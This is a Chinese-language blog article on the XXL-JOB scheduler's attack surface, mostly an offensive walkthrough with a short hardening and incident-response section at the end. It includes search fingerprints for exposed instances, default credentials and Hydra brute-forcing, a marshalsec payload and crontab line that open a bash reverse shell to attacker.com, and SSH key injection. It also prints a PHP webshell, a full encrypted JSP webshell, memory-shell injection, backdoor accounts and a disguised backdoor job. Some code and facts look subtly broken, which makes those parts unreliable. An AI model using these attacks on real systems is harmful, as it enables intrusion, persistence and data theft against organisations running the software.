文章

XXL-JOB 分布式任务调度平台安全攻击面深入分析

XXL-JOB 分布式任务调度平台安全攻击面深入分析

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

前言

XXL-JOB是大众所熟知的轻量级分布式任务调度平台,目前在GitHub上拥有极高的星标数,被众多企业广泛采用。在实际的红蓝对抗和渗透测试中,XXL-JOB相关漏洞已成为高频攻击向量。

据国家信息安全漏洞库(CNNVD)数据显示,2022-2024年XXL-JOB相关漏洞累计收录超20个,其中高危漏洞占比达65%,多起漏洞已被证实引发企业服务器沦陷、核心数据泄露等严重安全事件。

本文将深入探讨 XXL-JOB 分布式任务调度平台的攻击面,从基础架构到各版本的利用手法,再到高阶的内存马注入,干货满满。


目录


一、基础架构详解

1.1 什么是XXL-JOB

XXL-JOB是一款轻量级分布式任务调度平台,其核心设计目标是让开发者能够迅速上手、学习简单、使用轻量级且易于扩展。该平台由个人开发者许雪里创建并开源,在国内市场占有率较高,广泛应用于各类企业的定时任务调度场景。

从安全研究角度审视,XXL-JOB的架构设计使其成为一个典型的”集权系统”——调度中心一旦被攻破,攻击者可以向所有注册的执行器下发任意命令,实现批量服务器控制。

1.2 三大部分架构

XXL-JOB采用经典的分布式架构设计,由三大部分组成:

调度中心(Admin)

调度中心是XXL-JOB的Web管理后台,默认运行在8080端口。它的主要功能包括:

  • 任务配置与管理:创建、编辑、删除定时任务
  • 执行器注册与管理:管理所有接入的执行器节点
  • 调度日志查看:记录任务执行历史和结果
  • 用户权限管理:支持多用户操作

在渗透测试中,调度中心通常是外网暴露的主要目标,也是攻防对抗的主战场。

执行器(Executor)

执行器是任务的具体执行节点,默认运行在9999端口。它的核心职责是:

  • 接收调度中心的执行指令
  • 执行业务逻辑代码
  • 回传执行结果给调度中心

执行器通常部署在内网环境,或限制为仅允许127.0.0.1访问,以减少直接暴露带来的安全风险。

核心依赖(xxl-job-core)

xxl-job-core是XXL-JOB的核心库,被调度中心和执行器共同依赖。它封装了:

  • RPC通信机制:基于Jetty实现的HTTP通信
  • 任务注册与发现:执行器向调度中心的注册流程
  • 调度协议:任务调度的通信格式和数据结构

1.3 部署架构特点

理解XXL-JOB的部署架构对于安全评估至关重要:

调度中心的位置

调度中心作为管理后台,通常需要从外网访问,因此往往直接暴露在公网或通过Nginx反代暴露。这种部署方式使其成为外部攻击的主要突破口。

执行器的保护

执行器作为任务执行节点,通常建议部署在内网环境,配置访问白名单仅允许调度中心IP访问。但在实际部署中,由于配置复杂度和管理便利性的权衡,许多执行器存在过度暴露的问题。

后台路径识别

XXL-JOB的后台路径支持在application.properties中自定义,常见的后台路径包括:

常见后台路径说明
/toLogin/xxl-job-admin标准默认路径
/toLogin/xxljob简化路径
/toLogin/jobManage常见变种
/toLogin/极简配置

1.4 “集权系统”特性与安全影响

XXL-JOB被称为”集权系统”,这是安全评估中需要重点关注的特性:

集中管控带来的风险

一旦攻击者获得调度中心的访问权限,系统设计机制允许向所有注册的执行器下发命令。这意味着:

  1. 单点突破,全网控制:拿下调度中心即等于拿到所有执行器的”遥控器”
  2. 批量服务器权限:无需逐台渗透,直接通过调度中心批量执行命令
  3. 横向移动跳板:执行器通常部署在业务服务器,可作为内网横移的起点

攻击路径总结

1
2
3
发现调度中心 → 获取后台访问权限 →
注册恶意执行器或利用已有执行器 →
向所有执行器下发命令 → 批量获取服务器权限

二、信息收集与版本判断

2.1 常见后台路径识别

后台路径可配置性

XXL-JOB的后台管理路径是一个重要的识别特征。与其他一些中间件不同,XXL-JOB的管理后台路径并非固定不变,而是通过配置文件进行灵活配置的。

在application.properties或application.yml中,可以通过以下参数修改默认路径:

1
xxl.job.admin.mapping.path=/xxl-job-admin

常见后台路径列表

路径出现频率备注
/xxl-job-admin高官方默认路径
/xxl-job中简写形式
/job中极简形式
/scheduler低可能的变种
/task低任务相关命名

通过FOFA等搜索引擎发现目标

1
2
3
4
5
6
7
8
# 搜索包含特定错误信息的XXL-JOB实例
"invalid request, HttpMethod not support"

# 搜索管理后台
title="XXL-JOB"

# 结合协议和端口
protocol="http" && city="Shanghai" && title="XXL-JOB"

2.2 版本判断技巧

页面底部版本信息

最直接的方式是查看页面底部的版本信息。XXL-JOB默认会在管理页面底部显示版本号:

1
XXL-JOB v2.3.0

但需要注意以下几点:

  1. 管理员可能删除了版本信息:通过修改前端代码移除版本显示
  2. 静态资源缓存:即使升级了版本,用户端可能仍然显示旧版本
  3. CDN缓存:使用CDN时,页面可能不是实时从源站获取的

接口特征识别

版本响应特征
2.0.x返回字段较少,无任务配置详情
2.1.x开始包含更多任务配置信息
2.2.x增加任务告警配置字段
2.3.x增加更多执行参数配置

认证失败时的报错差异

1
2
3
4
5
# 2.2.0及以下版本
{"code": 500, "msg": "invalid username, password"}

# 2.3.0及以上版本
{"code": 500, "msg": "invalid username, password, matching: 403"}

2.3 指纹识别

核心FOFA指纹

1
2
3
4
5
6
7
8
# 错误信息指纹(最准确)
"invalid request, HttpMethod not support"

# 管理页面标题指纹
title="XXL-JOB" || title="分布式任务调度平台"

# 管理页面关键字指纹
body="xxl-job-admin" || body="执行器管理"

其他识别特征

XXL-JOB管理后台引用了一些静态资源,通过这些资源的特征可以进行识别:

1
2
<link rel="stylesheet" href="/static/adminlte/dist/css/AdminLTE.css">
<script src="/static/js/xxl-job.js"></script>

2.4 资产收集方法

关键配置文件

1
2
3
4
5
6
7
8
9
# 数据库配置(默认使用H2数据库)
xxl.job.admin.database.source.driver=com.mysql.cj.jdbc.Driver
xxl.job.admin.database.source.url=jdbc:mysql://127.0.0.1:3306/xxl_job
xxl.job.admin.database.source.username=root
xxl.job.admin.database.source.password=root

# 默认账号密码
xxl.job.admin.username=admin
xxl.job.admin.password=123456

常见默认凭证

环境用户名密码
管理后台admin123456
管理后台adminadmin123
H2数据库sa(空密码)
MySQL(源码)rootroot

Github搜索技巧

1
2
3
4
5
6
7
8
# 搜索泄露的凭证
XXL-JOB password admin

# 搜索生产环境配置
XXL-JOB application-prod.properties

# 搜索内网地址暴露
XXL-JOB 192.168. OR XXL-JOB 10.0.0

三、调度中心攻击面

3.1 后台弱口令爆破

默认账号风险

XXL-JOB在首次部署时并未强制用户在安装过程中修改默认密码,这为攻击者提供了可乘之机。通过实战经验积累,以下是常见的XXL-JOB默认凭据:

版本默认用户名默认密码
全版本admin123456
全版本adminxxl_job
部分定制版adminadmin
部分定制版guestguest

爆破思路与注意事项

第一步,寻找后台入口:

1
2
3
4
5
# 使用Nmap进行路径探测
nmap --script=http-enum -p 8080 target.com

# 使用ffuf进行目录爆破
ffuf -u http://target.com:8080/FUZZ -w directory-list-2.3-medium.txt

第二步,登录接口分析:

1
2
3
4
5
POST /xxl-job-admin/login HTTP/1.1
Host: target.com:8080
Content-Type: application/x-www-form-urlencoded

userName=admin&password=123456

第三步,爆破策略:

  • 控制爆破频率,避免触发IP封禁
  • 完善用户名猜测,默认用户名admin命中率较高
  • 关注密码喷洒,用少量常见密码去尝试大量用户名

推荐工具:

1
2
# 使用Hydra进行分布式爆破
hydra -L users.txt -P passwords.txt target.com http-post-form "/login:userName=^USER^&password=^PASS^:F=code"

登录后利用

成功获取管理员权限后,攻击者可以做以下事情:

  • 查看所有执行器节点列表,获取内网拓扑信息
  • 创建恶意任务并下发到指定执行器
  • 修改现有任务的执行逻辑,植入后门
  • 查看任务执行日志,可能包含敏感信息
  • 获取执行器的注册凭证(accessToken)

3.2 Hessian反序列化漏洞

漏洞原理

Hessian是一种轻量级的二进制序列化协议,与Java原生序列化相比,它具有跨语言支持、序列化效率高等优点,被广泛应用于Web服务间的通信。然而,Hessian反序列化过程中存在严重的安全风险,当反序列化来自不可信来源的数据时,攻击者可以构造恶意序列化数据,在目标服务器上执行任意代码。

在XXL-JOB调度中心中,部分API接口使用了Hessian进行数据序列化与反序列化处理。攻击者只需构造包含恶意类引用的Hessian序列化数据,即可触发反序列化漏洞。

关键类:JdkSerializeTool

com.xxl.job.core.util.JdkSerializeTool是XXL-JOB中实现Java序列化的工具类。虽然名字标注为”Jdk”,但实际使用场景中,该类的序列化功能被用于任务参数的传递。当调度中心向执行器下发任务时,任务参数会经过序列化后传输,如果在这个过程中存在反序列化点,攻击者就可以利用构造好的恶意序列化数据实施攻击。

影响版本

版本范围风险等级说明
XXL-JOB <= 2.1.0极高直接支持Hessian反序列化,无防护
XXL-JOB 2.1.1 - 2.1.2高存在绕过可能
XXL-JOB 2.2.0+中默认启用RESTful API,Hessian使用减少
XXL-JOB >= 2.3.0低官方增加了一定的安全过滤

利用步骤

第一步,确认漏洞存在:

1
2
3
4
5
# 探测API接口
curl http://target.com:8080/xxl-job-admin/api

# 检查是否存在Hessian端点
curl http://target.com:8080/xxl-job-admin/api/jobinfo

第二步,构造恶意Payload:

1
2
# 使用marshalsec生成Hessian Payload(针对CommonsCollections6链)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian CommonsCollections6 "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > payload.ser

第三步,发送攻击请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://target.com:8080/xxl-job-admin/api/jobinfo"
headers = {
    "Content-Type": "x-application/hessian",
    "XXL-JOB-ACCESS-TOKEN": "your_token_if_needed"
}

with open('payload.ser', 'rb') as f:
    payload = f.read()

response = requests.post(url, data=payload, headers=headers)
print(response.status_code, response.text)

3.3 API接口漏洞

水平越权漏洞

XXL-JOB的API接口设计中存在一些典型的权限控制缺陷:

任务执行器节点信息泄露:

1
GET /xxl-job-admin/api/jobgroup?start=0&length=100

正常情况下这个接口可能需要管理员权限,但如果存在未授权访问,攻击者可以获取所有执行器的注册信息。

任务日志信息泄露:

1
GET /xxl-job-admin/api/joblog/logDetailCat?id={task_id}

这些日志信息不仅可以帮助攻击者了解系统的内部运作逻辑,还可能包含数据库连接字符串、API密钥等敏感凭据。

API未授权访问

XXL-JOB部分版本在默认配置下存在API接口未授权访问的问题。具体来说:

  • 当xxl.job.accessToken配置项为空或未设置时,执行器可以无需认证即可注册到调度中心
  • 部分管理API接口缺少权限验证,允许未授权访问

3.4 实战利用思路

通过调度中心下发恶意任务

当成功获取调度中心的管理员权限后,攻击者获得了对整个任务调度集群的完全控制权。

利用步骤:

  1. 编写恶意代码:选择一个执行器上存在且可被反序列化攻击利用的gadget链
  2. 注册恶意执行器:如果内网中不存在可被利用的执行器,攻击者可以部署一个自己的执行器并注册到目标调度中心
  3. 创建恶意任务:在调度中心后台创建新任务,配置执行器为恶意执行器
  4. 触发任务执行:手动触发任务或等待定时任务自动执行

命令执行的各种姿势

姿势一:任务脚本命令执行:

1
2
3
4
5
6
7
8
9
10
@XxlJob("commandExectorJob")
public ReturnT<String> commandExecutor(String param) {
    String command = param;
    try {
        Process process = Runtime.getRuntime().exec(command);
        return new ReturnT<>(ReturnT.SUCCESS_CODE, "命令执行成功");
    } catch (Exception e) {
        return new ReturnT<>(ReturnT.FAIL_CODE, e.getMessage());
    }
}

姿势二:文件写入与计划任务:

1
2
3
4
5
# Linux环境
echo "0 0 * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> /etc/crontab

# 写入SSH公钥实现SSH登录
echo "ssh-rsa AAAAB3..." >> /root/.ssh/authorized_keys

姿势三:内网横向移动:

获得调度中心的控制权后,可以利用它作为跳板机进行内网横向渗透:

  1. 端口扫描:通过调度中心向内网其他主机下发端口扫描任务
  2. 凭据窃取:在执行器上部署凭据窃取模块
  3. 建立隐蔽通道:在获得内网主机权限后,建立持久化的隐蔽通道

四、执行器攻击面

4.1 /run接口未授权访问(<=2.2.0版本)

漏洞原理

执行器的核心接口/run用于接收调度中心的任务触发请求。在<=2.2.0的版本中,执行器默认没有配置任何认证机制,任何能够访问该端口的攻击者都可以直接调用该接口,触发目标服务器执行任意命令。

影响版本范围

版本范围漏洞类型
<= 2.1.2RESTful API未授权访问 + Hessian反序列化RCE
2.2.0 - 2.2.xRESTful API未授权访问(移除Hessian协议)

利用方法

直接向执行器的/run接口发送HTTP POST请求,构造任务参数实现命令执行:

1
2
3
curl -X POST http://target:9999/run \
  -H "Content-Type: application/json" \
  -d '{"jobId":1,"executorHandler":"test","executorParams":"whoami"}'

4.2 AccessToken默认配置绕过

默认AccessToken值

XXL-JOB在引入AccessToken认证机制时,预设了默认值为default_token。许多管理员在部署时直接使用默认值或忽略该配置项,导致认证机制形同虚设。

1
xxl.job.accessToken=default_token

利用方法

攻击者只需在请求头中添加正确的Token即可绕过认证:

1
XXL-JOB-ACCESS-TOKEN: default_token

相关漏洞编号

  • XVE-2023-17224:XXL-JOB 默认AccessToken身份绕过
  • XVE-2023-21328:同系列默认配置绕过问题

FOFA指纹

当AccessToken校验失败时,服务端会返回固定错误信息,可用于批量识别:

1
"invalid request, HttpMethod not support"

4.3 命令执行与Shell反弹

通过执行器直接执行系统命令

获取执行器访问权限后,可利用任务调度的灵活性实现命令执行。常见场景:

  • 在调度中心添加一个新建任务,任务处理器选择”GLUE模式”,编写Groovy脚本执行系统命令
  • 直接调用API接口,通过executorHandler和executorParams传递命令

各种反弹Shell方法

场景反弹方式
Linux目标bash -i >& /dev/tcp/attacker/port 0>&1
Windows目标powershell -e 编码命令
Python环境python -c 'import socket,os...'

不出网场景的利用思路

当目标无法访问外网时,可考虑以下方案:

  1. 写入WebShell:将恶意脚本写入可访问的Web目录
    1
    
    echo "<?php eval($_POST['cmd']);?>" > /var/www/html/shell.php
    
  2. 绑定业务接口:将Shell绑定到内网可访问的业务端口
  3. 利用本地NC:目标存在nc等工具时,可让目标主动连接内网其他服务
  4. 分阶段Payload:先执行信息收集命令,确认出网情况后再调整策略

4.4 CVE-2024-3366 注入漏洞

漏洞位置

1
com.xxl.job.core.util.JdkSerializeTool.deserialize()

漏洞原理

JdkSerializeTool类的deserialize()方法负责反序列化任务模板数据。当执行器处理来自调度中心的任务请求时,如果攻击者能够控制模板数据的内容,可以注入恶意序列化对象。由于Java原生反序列化缺乏安全防护,恶意数据反序列化后将执行任意代码。

该漏洞CVSS评分为3.5,属于中危漏洞。


五、历史版本漏洞利用(2.0以下版本)

5.1 版本特点分析

2.0以下版本的技术特征

XXL-JOB在2.0版本之前采用了传统的WAR包部署模式,这与后续版本的Spring Boot嵌入式部署方式存在显著差异:

特性2.0以下版本2.0及以上版本
部署方式WAR包 + TomcatSpring Boot JAR
JSP支持支持不支持
Webshell写入可写入JSP马需写入其他类型
目录结构固定于webapps取决于启动位置

部署架构分析

2.0以下版本的典型部署架构如下:

1
2
3
4
5
6
7
8
9
Tomcat_HOME/
├── webapps/
│   └── xxl-job-admin/
│       ├── WEB-INF/
│       │   ├── web.xml
│       │   └── classes/
│       └── index.jsp
└── conf/
    └── server.xml

这种部署模式意味着调度中心实际上运行在一个标准的Tomcat容器中,而Tomcat原生支持JSP文件的解析和执行。

5.2 利用前提条件

成功利用此攻击链需要满足以下条件:

  1. 获取调度中心权限
    • 弱口令登录成功(admin/123456)
    • 通过其他漏洞获取代码执行能力
  2. 目标环境确认
    • 目标使用Tomcat部署XXL-JOB WAR包
    • Tomcat服务拥有webapps目录的写入权限
  3. 出网访问
    • 目标服务器能够访问攻击者控制的服务器
    • 用于下载Webshell或建立反弹连接

5.3 目录遍历与Webshell写入

第一步:定位webapps目录

方法一:暴力遍历常见路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.File;

public class PathScanner {
    public static void main(String[] args) {
        String[] commonPaths = {
            "/var/lib/tomcat/webapps/",
            "/usr/local/tomcat/webapps/",
            "/opt/tomcat/webapps/",
            "/tomcat/webapps/",
            "C:/Program Files/Apache Software Foundation/Tomcat/webapps/",
            System.getProperty("catalina.base") + "/webapps/",
            System.getProperty("catalina.home") + "/webapps/"
        };

        for (String path : commonPaths) {
            File dir = new File(path);
            if (dir.exists() && dir.isDirectory()) {
                System.out.println("[FOUND] " + path);
            }
        }
    }
}

方法二:通过代码确认环境:

1
2
3
4
5
// 检查Tomcat相关目录
String catalinaBase = System.getProperty("catalina.base");
String catalinaHome = System.getProperty("catalina.home");
System.out.println("Catalina Base: " + catalinaBase);
System.out.println("Catalina Home: " + catalinaHome);

第二步:写入哥斯拉Webshell

一旦定位到webapps目录,即可写入JSP Webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.io.*,java.security.*" %>
<%!
class U extends ClassLoader {
    U(ClassLoader c) { super(c); }
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}

public byte[] k(String s) throws Exception {
    byte[] rawKey = s.getBytes();
    MessageDigest sha = MessageDigest.getInstance("SHA-256");
    rawKey = sha.digest(rawKey);
    byte[] key = new byte[16];
    System.arraycopy(rawKey, 0, key, 0, 16);
    return key;
}
%>
<%
try {
    String k = "t00ls"; // 连接密码
    String sessionKey = request.getParameter(k);
    if (sessionKey != null) {
        session.setAttribute("u", sessionKey);
        out.print(j(k.getBytes()));
        return;
    }

    sessionKey = (String) session.getAttribute("u");
    if (sessionKey == null) return;

    Cookie c = request.getCookies();
    if (c == null) return;

    byte[] key = k(sessionKey);
    byte[] iv = Base64.getDecoder().decode(c.getValue());
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    cipher.init(2, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv));

    byte[] data = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
    String task = new String(data, "UTF-8");

    Process p = Runtime.getRuntime().exec(task);
    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String line;
    while ((line = reader.readLine()) != null) {
        sb.append(line).append("\n");
    }

    byte[] response = sb.toString().getBytes("UTF-8");
    byte[] encrypted = cipher.doFinal(response);

    String encoded = new sun.misc.BASE64Encoder().encode(encrypted);
    String ivEncoded = new sun.misc.BASE64Encoder().encode(iv);

    response.setContentType("application/octet-stream");
    response.setHeader("Content-Encoding", ivEncoded);
    out.print(encoded);
}
catch(Exception e) {
    e.printStackTrace();
}
%>

5.4 完整利用链总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─────────────────┐
│  获取调度中心权限 │
│  (弱口令/漏洞)   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   代码执行能力   │
│ (GLUE任务/API)  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  定位webapps目录 │
│   (暴力遍历)    │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  写入JSP Webshell │
│   (哥斯拉冰蝎等)  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│    持久化控制    │
│   (冰蝎连接)    │
└─────────────────┘

六、高级攻防技巧

6.1 内存马注入技术

原理简介

内存马,也称为无文件马,是一种将恶意代码驻留在服务器内存中而非文件系统的攻击技术。由于传统WebShell需要写入磁盘,容易被安全检测工具发现,而内存马则直接注入到正在运行的JVM进程中,隐蔽性极高。

XXL-JOB执行器环境下的内存马注入

XXL-JOB执行器本质上是一个基于Spring Boot的Web应用,运行在Tomcat或Jetty等Servlet容器中。这意味着我们可以利用Java Servlet API的Filter和Listener机制来实现内存马注入。

在执行器启动后,其内部维护着一系列的Filter和Servlet组件。当我们通过某种方式获取了执行器的代码执行能力后,可以尝试动态注册一个恶意的Filter到当前的ServletContext中。

注入步骤

  1. 获取ApplicationContext:从Spring容器中获取当前的ApplicationContext实例
  2. 获取ServletContext:通过ApplicationContext获取ServletContext
  3. 注册恶意Filter:构造一个继承自Filter接口的恶意类,调用addFilter方法注册
  4. 建立控制通道:Filter型内存马通常检查请求参数或请求头中的特定标记
1
2
3
4
5
// 核心注入逻辑
ApplicationContext context = SpringHelper.getContext();
ServletContext servletContext = context.getServletContext();
FilterRegistration.Dynamic filter = servletContext.addFilter("EvilFilter", EvilFilter.class);
filter.addMappingForUrlPatterns(EnumSet.of(REQUEST, FORWARD, INCLUDE, ERROR), true, "/*");

Spring Boot环境下的内存马注入方法

Spring Boot环境为内存马注入提供了一些独特的便利条件:

方法一:利用BeanFactory动态注册Bean:

1
2
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) context.getBean("&beanFactory");
beanFactory.registerBeanDefinition("evilBean", new RootBeanDefinition(EvilClass.class));

方法二:利用Tomcat专属API:

1
2
TomcatEmbeddedServletContainerFactory factory = context.getBean(TomcatEmbeddedServletContainerFactory.class);
factory.addContextValves(new EvilValve());

6.2 权限维持方法

后门账号创建

获取调度中心管理员权限后,创建后门账号是最直接也是最有效的权限维持手段之一:

1
2
3
4
5
6
7
POST /xxl-job-admin/api/user/add
{
    "username": "system_monitor",
    "password": "encrypted_password",
    "role": 1,
    "permission": 0
}

计划任务维持权限

将恶意代码伪装成正常的业务逻辑,嵌入到已有的定时任务中:

1
2
3
4
5
6
7
8
9
10
11
12
@XxlJob("dailyReportJob")
public ReturnT<String> dailyReport(String param) {
    // 正常的报表生成逻辑...

    // 隐蔽的后门:每天凌晨2点执行一次保骚命令
    Calendar cal = Calendar.getInstance();
    if (cal.get(Calendar.HOUR_OF_DAY) == 2) {
        // 下载并执行下一阶段载荷
    }

    return ReturnT.SUCCESS;
}

WebShell隐藏技巧

  • 文件名迷惑性:避免使用shell.jsp、cmd.jsp这类一看就很明显的名字
  • 存储位置:放在静态资源目录、临时文件目录等角落
  • 多层后门策略:真正的控制端不应该直接连接,而是通过几层跳转

6.3 绕过AccessToken认证

默认Token的利用

xxl.job.accessToken是XXL-JOB提供的用于确保调度中心与执行器通信安全的关键配置项。根据XXL-JOB官方文档,该配置项默认为空值。

在实际企业部署中,由于安全意识不足或配置文档不完善,相当一部分XXL-JOB执行器实例的accessToken保持为空值状态。

探测accessToken是否为空的方法很简单:直接尝试发送任务调度请求,观察返回结果。

Token枚举和爆破

当accessToken配置为非空值但强度较弱时,可以考虑进行Token枚举攻击。为了提高效率,可以先通过信息收集获取一些可能的Token候选值。例如,从GitHub泄露的源码中可能找到XXL-JOB的配置文件。

6.4 实战攻防思路总结

信息收集阶段

  • 调度中心地址的发现:常见端口扫描、目录爆破、搜索引擎
  • 版本识别:页面源码、API响应、错误信息
  • 安全配置检查:accessToken是否配置、默认口令是否修改

漏洞利用阶段

  • 未修改默认口令:弱口令爆破是最直接的方式
  • 存在反序列化漏洞:构造恶意序列化payload来执行代码
  • 获得代码执行能力后:优先考虑反弹Shell,如果目标环境是内网,可以先建立代理通道

横向移动

XXL-JOB调度中心通常管理着多个执行器节点,获得调度中心权限后,可以向所有执行器同时下发恶意任务,实现对整个执行器集群的控制。


七、防御建议与安全配置

7.1 安全配置建议

修改默认AccessToken

强密码生成规范:

要求说明
长度至少32位
字符集大小写字母 + 数字 + 特殊字符
随机性使用密码学安全的随机数生成器
唯一性每个环境使用不同的Token
1
2
# 使用OpenSSL生成强密码
openssl rand -base64 32

配置步骤:

1
2
3
4
5
6
# 调度中心端
xxl.job.accessToken=随机生成的32位字符串

# 执行器端(需与调度中心一致)
xxl.job.admin.addresses=http://调度中心地址:8080/xxl-job-admin
xxl.job.accessToken=与调度中心配置相同的令牌

修改默认后台密码

1
2
3
4
5
6
密码复杂度要求:
  - 最小长度: 12位
  - 必须包含: 大写字母(A-Z)
  - 必须包含: 小写字母(a-z)
  - 必须包含: 数字(0-9)
  - 必须包含: 特殊字符(!@#$%^&*)

网络访问控制

1
2
3
4
5
6
7
8
9
10
11
12
13
# 使用nginx进行访问控制
server {
    listen 80;
    server_name xxl-job.internal.com;

    location / {
        allow 10.0.0.0/8;
        allow 192.168.0.0/16;
        deny all;

        proxy_pass http://127.0.0.1:8080;
    }
}

HTTPS配置

1
2
3
4
5
# application.properties
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password= keystore_password
server.ssl.keyStoreType=PKCS12
server.ssl.key-alias=xxljob

7.2 漏洞修复方案

版本升级路径

版本范围安全评级主要安全修复
2.0.x 及以下极高风险存在多个未修复的高危漏洞
2.1.0 - 2.1.2高风险Hessian反序列化未完全修复
2.2.0 - 2.2.3中风险部分API安全增强
2.3.0 - 2.3.1低风险新增安全过滤机制
2.4.0+相对安全持续安全加固中

升级前的准备工作

1
2
3
4
5
6
7
8
9
# 1. 完整备份
## 备份数据库
mysqldump -u root -p xxl_job > xxl_job_backup_$(date +%Y%m%d).sql

## 备份配置文件
cp -r /path/to/xxl-job-admin/config ./config_backup/

# 2. 在测试环境验证
# 3. 制定回滚方案

紧急修补措施

禁用危险接口:

1
2
3
4
5
6
7
8
9
10
11
@Configuration
public class SecurityConfig {
    @Bean
    public FilterRegistrationBean<ApiSecurityFilter> apiSecurityFilter() {
        FilterRegistrationBean<ApiSecurityFilter> registrationBean = new FilterRegistrationBean<>();
        registrationBean.setFilter(new ApiSecurityFilter());
        registrationBean.addUrlPatterns("/api/*");
        registrationBean.setOrder(1);
        return registrationBean;
    }
}

7.3 应急响应措施

如何发现被攻击

调度中心异常信号:

  • 登录失败次数突然增加
  • 出现非预期的管理员账号
  • 任务列表中存在未知任务
  • 执行器列表中出现未知节点

执行器异常信号:

  • 执行器CPU/内存使用率异常升高
  • 出现非预期的网络连接
  • 磁盘出现未知文件

应急处置流程

第一阶段:遏制(15分钟内):

1
2
3
4
# 1. 隔离受感染节点
# 2. 临时提升安全等级
# 3. 保存现场证据
cp -r /path/to/xxl-job-admin/logs ./incident_logs_$(date +%Y%m%d%H%M%S)/

第二阶段:分析(1小时内):

1
2
3
4
5
6
# 1. 确定攻击时间范围
grep "Failed" /path/to/logs/xxl-job-admin.log | head -20
grep "Success" /path/to/logs/xxl-job-admin.log | head -20

# 2. 确认攻击入口
# 3. 评估影响范围

第三阶段:清除(2小时内):

1
2
3
4
# 1. 重置所有管理员密码
# 2. 删除攻击者创建的所有后门账号
# 3. 删除恶意任务
# 4. 清理受感染执行器

7.4 安全监控建议

必须记录的日志类型

日志类型记录内容保留周期
认证日志登录/登出/失败原因1年
管理操作日志任务增删改、用户变更6个月
执行日志任务执行结果、耗时、输出3个月
API访问日志所有API请求及响应3个月

异常任务检测规则

检测类型规则描述严重级别
执行时长异常当前执行时长超过历史平均值的5倍警告
执行频率异常任务在短时间内的执行次数超过预期严重
执行时段异常在非预定时间执行警告

告警响应SLA

告警级别响应时间处理时限
紧急(Critical)5分钟内1小时内
高(High)15分钟内4小时内
中(Medium)30分钟内24小时内
低(Low)2小时内72小时内

八、总结

XXL-JOB作为企业广泛使用的分布式任务调度平台,其安全性至关重要。通过本文的深入分析,我们可以总结出以下关键点:

攻击者视角

  1. 集权系统特性:调度中心是整个任务调度系统的核心入口,一旦被攻破,可以向所有执行器下发恶意任务,实现对整个集群的控制。

  2. 常见攻击路径:
    • 弱口令爆破(admin/123456)
    • Hessian反序列化漏洞利用
    • AccessToken默认配置绕过
    • API接口未授权访问
  3. 高危场景:拿下调度中心往往意味着可以批量获取服务器权限,这是XXL-JOB”集权”特性带来的最大安全风险。

防御者视角

  1. 基础安全配置:
    • 修改默认AccessToken为强密码
    • 修改默认后台密码
    • 网络访问控制
    • HTTPS配置
  2. 版本管理:及时升级到最新版本,关注官方安全公告

  3. 监控告警:建立完善的日志审计和异常检测机制

  4. 应急响应:制定详细的应急响应流程,定期演练

红队研究者视角

在进行内网渗透时,如果发现XXL-JOB调度中心,应优先尝试获取其控制权。它不仅可以帮助获取内网拓扑信息,还可以作为横向移动的跳板,实现对多个执行器节点的控制。

推荐工具:

在实际的安全研究和渗透测试中,我们应该深刻理解系统的设计架构和潜在的安全风险,既要掌握攻击方法,也要懂得防御原理。只有这样,才能在攻防对抗中保持优势。


参考资源


本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

本文最后更新于:2026年3月19日

本文由作者按照 CC BY 4.0 进行授权